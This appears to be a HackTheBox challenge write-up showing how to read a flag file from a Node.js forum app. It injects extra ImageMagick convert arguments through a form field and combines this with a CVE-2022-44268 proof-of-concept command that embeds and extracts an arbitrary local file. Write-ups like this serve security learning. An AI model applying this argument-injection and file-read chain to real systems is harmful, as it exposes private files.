HackTheBox - Challenges Prying Eyes

10/12/2023 - 2 minutes

CVE-2022-44268 challenges hacking hackthebox imagemagick web
  1. 1 Enumeration
    1. 1.1 ImageMagick-Convert
  2. 2 Exploitation

# Enumeration

Dockefile

FROM node:18-bullseye-slim

# Install packages
RUN apt update \
    && apt install -y wget pkg-config build-essential unzip libpng-dev libjpeg-dev libavif-dev libheif-dev supervisor \
    && wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/`7.1.0-33`.zip -O /tmp/ImageMagick-7.1.0-33.zip \
    && cd /tmp \
    && unzip ImageMagick-7.1.0-33.zip \
    && cd ImageMagick-7.1.0-33 \
    && ./configure \
    && make -j $(nproc) \
    && make install \
    && ldconfig /usr/local/lib \
    && rm -rf /var/lib/apt/lists/* /tmp/ImageMagick-7.1.0-33

# Setup supervisor
COPY ./config/supervisord.conf /etc/supervisor/supervisord.conf

# Install node application
USER node

# Create directory
RUN mkdir /home/node/app

# Switch working directory
WORKDIR /home/node/app

# Copy challenge files
COPY --chown=node:node ./challenge/ .

# Install node dependencies
RUN npm install

# Expose Node application
EXPOSE 8000

# Switch back to root
USER root

# Start supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/supervisord.conf"]

ImageMagick stands out, a specific release of 7.1.0-33 to be exact

flag.txt isn't read from anywhere so we need RCE or a file read.

routes/forum.js

const express = require("express");
const { AuthRequired } = require("../middleware/AuthMiddleware");
const fileUpload = require("express-fileupload");
const fs = require("fs/promises");
const path = require("path");
const { convert } = require("imagemagick-convert");
const { render } = require("../utils");
const ValidationMiddleware = require("../middleware/ValidationMiddleware");
const { randomBytes } = require("node:crypto");

const router = express.Router();
let db;

router.get("/", async function (req, res) {
  render(req, res, "forum.html", { posts: await db.getPosts() });
});

router.get("/new", AuthRequired, async function (req, res) {
  render(req, res, "new.html");
});

router.get("/post/:parentId", AuthRequired, async function (req, res) {
  const { parentId } = req.params;

  const parent = await db.getPost(parentId);

  if (!parent || parent.parentId) {
    req.flashError("That post doesn't seem to exist.");
    return res.redirect("/forum");
  }
  render(req, res, "post.html", { parent, posts: await db.getThread(parentId) });
});

router.post(
  "/post",
  AuthRequired,
  fileUpload({
    limits: {
      fileSize: 2 * 1024 * 1024,
    },
  }),
  ValidationMiddleware("post", "/forum"),
  async function (req, res) {
    const { title, message, parentId, ...convertParams } = req.body;
    if (parentId) {
      const parentPost = await db.getPost(parentId);

      if (!parentPost) {
        req.flashError("That post doesn't seem to exist.");
        return res.redirect("/forum");
      }
    }

    let attachedImage = null;

    if (req.files && req.files.image) {
      const fileName = randomBytes(16).toString("hex");
      const filePath = path.join(__dirname, "..", "uploads", fileName);

      try {
        const processedImage = await convert({
          ...convertParams,
          srcData: req.files.image.data,
          format: "AVIF",
        });

        await fs.writeFile(filePath, processedImage);

        attachedImage = `/uploads/${fileName}`;
      } catch (error) {
        req.flashError("There was an issue processing your image, please try again.");
        console.error("Error occured while processing image:", error);
        return res.redirect("/forum");
      }
    }

    const { lastID: postId } = await db.createPost(req.session.userId, parentId, title, message, attachedImage);

    if (parentId) {
      return res.redirect(`/forum/post/${parentId}#post-${postId}`);
    } else {
      return res.redirect(`/forum/post/${postId}`);
    }
  }
);

module.exports = (database) => {
  db = database;
  return router;
};

The only intresting functionality of this app is the creation of posts and more specifically the file upload for the post image.

It uses a library

const { convert } = require("imagemagick-convert");

to perform the below actions

let attachedImage = null;

    if (req.files && req.files.image) {
      const fileName = randomBytes(16).toString("hex");
      const filePath = path.join(__dirname, "..", "uploads", fileName);

      try {
        const processedImage = await convert({
          ...convertParams,
          srcData: req.files.image.data,
          format: "AVIF",
        });

        await fs.writeFile(filePath, processedImage);

        attachedImage = `/uploads/${fileName}`;
      } catch (error) {
        req.flashError("There was an issue processing your image, please try again.");
        console.error("Error occured while processing image:", error);
        return res.redirect("/forum");
      }
    }

    const { lastID: postId } = await db.createPost(req.session.userId, parentId, title, message, attachedImage);

It converts any image file we give it to AVIF... Let's see the library on npm https://www.npmjs.com/package/imagemagick-convert

A 4 year old package ok... Snyk lists no security issues with it though https://snyk.io/advisor/npm-package/imagemagick-convert

Let's have a look at ImageMagick itself for vulnerabilities

Nice! First result we get an LFI, exactly what we need to read the flag! https://www.exploit-db.com/exploits/51261

POC: https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

python3 vulnhub-poc.py generate -i test.png -o xpl.png -r /home/node/app/flag.txt

But if we read through the problem only occurs with PNG files. When in this challenge it is explicitly converting AVIF files only.

Can we modify the format parameter by injecting our own?

const processedImage = await convert({
          ...convertParams,
          srcData: req.files.image.data,
          format: "AVIF",
        });

convertParams comes from any extra params we pass, so we could in theory pass a "format":"PNG" param

const { title, message, parentId, ...convertParams } = req.body;

Even if we add our own format like below

------WebKitFormBoundaryXtQRabx9AtkWXhZ9
Content-Disposition: form-data; name="title"

test-title
------WebKitFormBoundaryXtQRabx9AtkWXhZ9
Content-Disposition: form-data; name="message"

test-desc
------WebKitFormBoundaryXtQRabx9AtkWXhZ9
Content-Disposition: form-data; name="format"

PNG

If we console log the whole json

console.log("PARAMS:");
console.log({
	...convertParams,
	srcData: req.files.image.data,
	format: "AVIF",
});

we see that AVIF still gets written as it comes second.

PARAMS:
{
  format: 'AVIF',
  rotate: 0,
  flip: false,
  srcData: <Buffer 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 06 00 00 01 7e 08 02 00 00 00 b7 4a 9a 06 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 ... 54173 more bytes>
}

So we can't really interfere with format for now

Hmm. Lets locally modify AVIF -> PNG, just to see what is going to happen and if this exploit is going to work. It does indeed work but we can't really do that so let's keep looking

# ImageMagick-Convert

Let's clone this library and have a look at what is happening in the convert function

the below code snippets are of particular interest

cmd = this.composeCommand(origin, result),
cp = spawn(rootCmd, cmd),
composeCommand(origin, result) {
	const cmd = [],
		resize = this.resizeFactory();

	// add attributes
	for (const attribute of attributesMap) {
		const value = this.options.get(attribute);

		if (value || value === 0) {
			cmd.push(`-${attribute}`);
			if (typeof value !== 'boolean') {
				cmd.push(`${value}`);
			}
		}
	}

	// add resizing preset
	if (resize) cmd.push(resize);

	// add in and out
	cmd.push(origin);
	cmd.push(result);

	return cmd;
}

So using our previously found injection we can only modify

attributesMap = new Set([
	'density',
	'background',
	'gravity',
	'quality',
	'blur',
	'rotate',
	'flip'
]);

and resize, lets test our injection, by changing the quality to something invalid such as orange

# Exploitation

Nice!

Error occured while processing image: convert: invalid argument for option '-quality': orange @ error/convert.c/ConvertImageCommand/2515.

This means that we can inject params in the attributesMap list...

Basically scratch that we can also put any param we want in the value of another param e.g:

{"quality":" 75 -background orange"}

will get parsed to

-quality 75 -background orange

hence we unlock any ImageMagick convert arg we want..., but we can't escape the convert command due to the usage of spawn and the arguments all being executed with rootCmd which is

const rootCmd = process.platform === "win32" ? "magick" : "convert"
cp = spawn(rootCmd, cmd),

Let's have a look in ImageMagicks' convert manpage for anything useful

We can see that -write filename.png might allow us to write the png converted file which will have the file to be read embeded in profile

hence like this we can now retrieve the written file, parse the profile and read any file we want. By parsing it with

python3 vulnhub-poc.py parse -i resultflag.png 2&> result.txt

If we convert the hex data in result.txt somewhere inside it we can see the flag!